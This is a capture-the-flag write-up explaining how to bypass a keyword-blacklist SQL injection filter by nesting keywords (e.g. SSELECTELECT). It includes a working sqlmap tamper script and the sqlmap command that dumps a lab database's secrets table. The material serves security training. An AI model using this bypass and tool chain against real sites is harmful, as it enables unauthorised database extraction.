CrySyS Novice Group - Sorting Secure Fruits writeup (3)

This writeup was cross-posted from balazsrostas.me. Author: Balázs Rostás.

This task was given as homework in the CrySyS Novice Group. It was under the “Shop of Quality Lime (and other fruits)” group and was worth 150 points (third level).

Description: Yeah, we were wrong when we thought that encryption would be a viable solution to our problem.

The solution we came up with this time is based on a proven technology: blacklisting.

It is as simple as powerful. We only had to add one line to implement it:

$order = preg_replace('/CASE|WHEN|THEN|ELSE|END|SELECT/i', '', $order);

(Let's say that our vulnerable site's address was again http://someaddress.com)

This task is the third level after the second Sorting Encrypted Fruits. If you haven't solved the first or the second level take a look at them before reading on (the first level is Sorting Fruits).

Now that we solved the first and the second level we know the name of the databases and its tables for sure. This time instead of cryptography they used blacklisting. Blacklisting is a very risky choice, it is extremely hard to cover every keyword that could cause trouble and even than there are ways to bypass these restrictions.

For example, we can't use 'SELECT', however if we inject the word SELECT right after the first letter, so it becomes: SSELECTELECT, when the blacklist is applied it will become SELECT again since it will delete the injected word and leaves the original one behind.

That's what we are going to do. I've written another tamper script that would solve this specific problem using the technique written above (You can download it here: blacklist.py):

#!/usr/bin/env python
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
    """
    Replaces predefined SQL keywords with representations
    suitable for replacement (e.g. .replace("SELECT", "")) filters
    """

    keywords = ("CASE", "SELECT", "WHEN", "ELSE", "THEN", "END")
    retVal = payload

    if payload:
        for keyword in keywords:
            retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:1], keyword, keyword[1:]), retVal)

    return retVal

With this tamper script we can run sqlmap with the known test database secrets table:

python sqlmap.py -u "http://someaddress.com/?order=id"  
--technique="B" --tamper=blacklist -D test -T secrets --dump

And we got our flag:

+----------------------------------+
| secret                           |
+----------------------------------+
| BLACKLIST_TECHNOLOGY_FOR_THE_WIN |
+----------------------------------+